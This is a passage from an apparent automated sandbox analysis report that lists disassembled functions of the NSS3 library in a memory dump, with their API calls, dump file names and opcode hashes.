Part of subcall function 6CD01A40: PR_Now.NSS3(?,00000000,6CCE28AD,00000000,?,6CCFF09A,00000000,6CCE28AD,6CCE93B0,?,6CCE93B0,6CCE28AD,00000000,?,00000000), ref: 6CD01A65

Part of subcall function 6CD01940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CD04126,?), ref: 6CD01966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCEA1A3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 408a355a8dd44ac9e733b8b0af1d04b8ff0935377f9ee606712bab16e49d7123
Instruction ID: 15b7cc1f11a805cff9b6093c213b14735cbb727f16e06cead9cb6a0909528bb8
Opcode Fuzzy Hash: 408a355a8dd44ac9e733b8b0af1d04b8ff0935377f9ee606712bab16e49d7123
Instruction Fuzzy Hash: C551F9B5A002009FEB109F69DC44AAB7BB8BFCB308B154529DD29D7711FB30E846C6A1

Function 6CD20C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CD21444,?,00000001,?,00000000,00000000,?,?,6CD21444,?,?,00000000,?,?), ref: 6CD20CB3

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CD21444,?,00000001,?,00000000,00000000,?,?,6CD21444,?), ref: 6CD20DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CD21444,?,00000001,?,00000000,00000000,?,?,6CD21444,?), ref: 6CD20DEC

Part of subcall function 6CD40F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CCE2AF5,?,?,?,?,?,6CCE0A1B,00000000), ref: 6CD40F1A
Part of subcall function 6CD40F10: malloc.MOZGLUE(00000001), ref: 6CD40F30
Part of subcall function 6CD40F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CD40F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CD21444,?,00000001,?,00000000,00000000,?), ref: 6CD20DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CD21444,?,00000001,?,00000000), ref: 6CD20E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CD21444,?,00000001,?,00000000,00000000,?), ref: 6CD20E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CD21444,?,00000001,?,00000000,00000000,?,?,6CD21444,?,?,00000000), ref: 6CD20E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CD21444,?,00000001,?,00000000,00000000,?), ref: 6CD20E79

Part of subcall function 6CD31560: TlsGetValue.KERNEL32(00000000,?,6CD00844,?), ref: 6CD3157A
Part of subcall function 6CD31560: EnterCriticalSection.KERNEL32(?,?,?,6CD00844,?), ref: 6CD3158F
Part of subcall function 6CD31560: PR_Unlock.NSS3(?,?,?,?,6CD00844,?), ref: 6CD315B2

Part of subcall function 6CCFB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CD01397,00000000,?,6CCFCF93,5B5F5EC0,00000000,?,6CD01397,?), ref: 6CCFB1CB
Part of subcall function 6CCFB1A0: free.MOZGLUE(5B5F5EC0,?,6CCFCF93,5B5F5EC0,00000000,?,6CD01397,?), ref: 6CCFB1D2

Part of subcall function 6CCF89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CCF88AE,-00000008), ref: 6CCF8A04
Part of subcall function 6CCF89E0: EnterCriticalSection.KERNEL32(?), ref: 6CCF8A15
Part of subcall function 6CCF89E0: memset.VCRUNTIME140(6CCF88AE,00000000,00000132), ref: 6CCF8A27
Part of subcall function 6CCF89E0: PR_Unlock.NSS3(?), ref: 6CCF8A35

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 9f2827c11b381c4c46bf56721636193e4f6fcedfcb67920acc3478da7a616fa8
Instruction ID: 513be6c3da682c91b20a094223e3c2f73f3e6ada080fea0bb8382cdc0bfa5ba6
Opcode Fuzzy Hash: 9f2827c11b381c4c46bf56721636193e4f6fcedfcb67920acc3478da7a616fa8
Instruction Fuzzy Hash: 3F51D8B6E012019FEB009F68DC91AAB37A8EF4525CF150064ED1997B22F735FD1987B2

Function 6CCD6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CCD6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CCD6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CCD6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CCD6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CCD6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CCD7010
sqlite3_value_blob.NSS3(?,?), ref: 6CCD701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CCD7052

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 2a8e6e8d24570dfdf045f6dacc54fbecaaf3560625359f10f0d7ec2a9d474307
Instruction ID: 355a09626cb4afebd2d0ff4d0fe6e9678e84c5e08990b5bd1529044433fd32ea
Opcode Fuzzy Hash: 2a8e6e8d24570dfdf045f6dacc54fbecaaf3560625359f10f0d7ec2a9d474307
Instruction Fuzzy Hash: 6E61C5B1E04A068BDB00CFA5C8407EEB7B2BF45308F1A4565D615AB795F735BC06CBA1

Function 6CD48F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CD47313), ref: 6CD48FBB

Part of subcall function 6CD407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CCE8298,?,?,?,6CCDFCE5,?), ref: 6CD407BF
Part of subcall function 6CD407B0: PL_HashTableLookup.NSS3(?,?), ref: 6CD407E6
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD4081B
Part of subcall function 6CD407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD40825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CD47313), ref: 6CD49012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CD47313), ref: 6CD4903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CD47313), ref: 6CD4909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CD47313), ref: 6CD490DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CD47313), ref: 6CD490F1

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CD47313), ref: 6CD4906B

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CD47313), ref: 6CD49128

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: e5b7ab513e4bbf8275b8b15289b163e4b5c81860386cccfc9838641ba0619e3e
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 57516E71A00201CFEB10DF6ADE84B26B3F9AF44359F158169EA15D7B71EB31E804CBA1

Function 6CCF9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CCF8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CD00715), ref: 6CCF8859
Part of subcall function 6CCF8850: PR_NewLock.NSS3 ref: 6CCF8874
Part of subcall function 6CCF8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CCF888D

PR_NewLock.NSS3 ref: 6CCF9CAD

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

TlsGetValue.KERNEL32 ref: 6CCF9CE8
EnterCriticalSection.KERNEL32(?,?,6CCFECEC,6CD02FCD,00000000,?,6CD02FCD,?), ref: 6CCF9D01
TlsGetValue.KERNEL32(?,?,?,6CCFECEC,6CD02FCD,00000000,?,6CD02FCD,?), ref: 6CCF9D38
EnterCriticalSection.KERNEL32(?,?,6CCFECEC,6CD02FCD,00000000,?,6CD02FCD,?), ref: 6CCF9D4D
PR_Unlock.NSS3 ref: 6CCF9D70
PR_Unlock.NSS3 ref: 6CCF9DC3
PR_NewLock.NSS3 ref: 6CCF9DDD

Part of subcall function 6CCF88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CD00725,00000000,00000058), ref: 6CCF8906
Part of subcall function 6CCF88D0: EnterCriticalSection.KERNEL32(?), ref: 6CCF891A
Part of subcall function 6CCF88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CCF894A
Part of subcall function 6CCF88D0: calloc.MOZGLUE(00000001,6CD0072D,00000000,00000000,00000000,?,6CD00725,00000000,00000058), ref: 6CCF8959
Part of subcall function 6CCF88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CCF8993
Part of subcall function 6CCF88D0: PR_Unlock.NSS3(?), ref: 6CCF89AF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 6ec9e5052316a56d086f84fdc1d47917db913a83afc039b7f2a1e91345d8846e
Instruction ID: 04cbf04da9f09569383b97a4822bb5ee834dbf0ebf3b665ffbf6bff8288fb5ee
Opcode Fuzzy Hash: 6ec9e5052316a56d086f84fdc1d47917db913a83afc039b7f2a1e91345d8846e
Instruction Fuzzy Hash: FB5161B1A047058FDF40EF69C08469EBBF4BF45349F158569D8A89B711FB30E846CBA1

Function 6CDF9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDF9EC0
EnterCriticalSection.KERNEL32(?), ref: 6CDF9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CDF9F73
EnterCriticalSection.KERNEL32(?), ref: 6CDF9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CDF9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CDF9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CDFA01D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 8edb6b985593652e9af98bf5f19890d394c2eefb8df3ad5f57f9fa74758eb57e
Instruction ID: d69995dd9f77c7c6c31e91a8d7ca48777818356832bb3fc44033d231368c9481
Opcode Fuzzy Hash: 8edb6b985593652e9af98bf5f19890d394c2eefb8df3ad5f57f9fa74758eb57e
Instruction Fuzzy Hash: F65192B2800601DBCB109F65D48464AB7F4FF04319F16866AD86957B66E731FC86CBE1

Function 6CD04E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD04E90
EnterCriticalSection.KERNEL32 ref: 6CD04EA9
TlsGetValue.KERNEL32 ref: 6CD04EC6
EnterCriticalSection.KERNEL32 ref: 6CD04EDF
PL_HashTableLookup.NSS3 ref: 6CD04EF8
PR_Unlock.NSS3 ref: 6CD04F05
PR_Now.NSS3 ref: 6CD04F13
PR_Unlock.NSS3 ref: 6CD04F3A

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 9fef2cbea9486706750c1453f67521aa7659716f504805f14c1a687c8e86ab8b
Instruction ID: 2d7aeabd03d84e59a2a05c7a5bf2b45a8ab4867a573a204a313bf334b78f2814
Opcode Fuzzy Hash: 9fef2cbea9486706750c1453f67521aa7659716f504805f14c1a687c8e86ab8b
Instruction Fuzzy Hash: 1D413CB4A04609DFCB00EF7CC0848AABBF4FF49314B018669DD999B721EB30E855CB91

Function 6CCEDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CCEDCFA

Part of subcall function 6CDA9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DC6
Part of subcall function 6CDA9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DD1
Part of subcall function 6CDA9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDA9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCEDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CCEDD62
CERT_DestroyCertificate.NSS3(?), ref: 6CCEDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CCEDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CCEDD8F

Part of subcall function 6CD006A0: TlsGetValue.KERNEL32 ref: 6CD006C2
Part of subcall function 6CD006A0: EnterCriticalSection.KERNEL32(?), ref: 6CD006D6
Part of subcall function 6CD006A0: PR_Unlock.NSS3 ref: 6CD006EB

CERT_DestroyCertificate.NSS3(?), ref: 6CCEDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CCEDDB7

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 3341e13ca71beb6408b84a3e8d3d5eaf9225ca6645ec248cf79b737b0be2585a
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 24216FB6E012159BDF019F95DC40ADEB7B4AF4A218B1500A4ED14A7711F731EA15CBF1

Function 6CD75F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75F72

Part of subcall function 6CCDED70: DeleteCriticalSection.KERNEL32(?), ref: 6CCDED8F
Part of subcall function 6CCDED70: DeleteCriticalSection.KERNEL32(?), ref: 6CCDED9E
Part of subcall function 6CCDED70: DeleteCriticalSection.KERNEL32(?), ref: 6CCDEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75FCC
free.MOZGLUE(?,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75FF4
free.MOZGLUE(?,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD75FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD76019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CD7AADB,?,?,?,?,?,?,?,?,00000000,?,6CD780C1), ref: 6CD76036

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 6d9913b27a17da0a3751c467b9dbd858fc75a249b2b8c7ae73ad2b14374e8cc6
Instruction ID: 1a3075a5be5c0723335991ff94aff2221fbf319b421685f4262a86eb26974434
Opcode Fuzzy Hash: 6d9913b27a17da0a3751c467b9dbd858fc75a249b2b8c7ae73ad2b14374e8cc6
Instruction Fuzzy Hash: D4211DF1604B049BEA20AF75D808BD7B7F8AB45708F14092CE55EC7640EB36F019CBA2

Function 6CCE3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CD5460B,?,?), ref: 6CCE3CA9
EnterCriticalSection.KERNEL32(?), ref: 6CCE3CB9
PL_HashTableLookup.NSS3(?), ref: 6CCE3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CCE3CD6
PR_Unlock.NSS3 ref: 6CCE3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CCE3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCE3D03
PR_Unlock.NSS3 ref: 6CCE3D15

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 75f08d2cdd6786f8a05217e919aa34aaa011cb7a465305215f96c4db0eb8a7b5
Instruction ID: 335dcca9092e864177831dba0e62679170f06a71c4141280d1af38e390a6b641
Opcode Fuzzy Hash: 75f08d2cdd6786f8a05217e919aa34aaa011cb7a465305215f96c4db0eb8a7b5
Instruction Fuzzy Hash: D7112CB6F00115A7DB112B24AC058AB3A78EF5725DB194170ED1C83731F721E959C6E1

Function 6CCE9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD011C0: PR_NewLock.NSS3 ref: 6CD01216

free.MOZGLUE(?), ref: 6CCE9E17
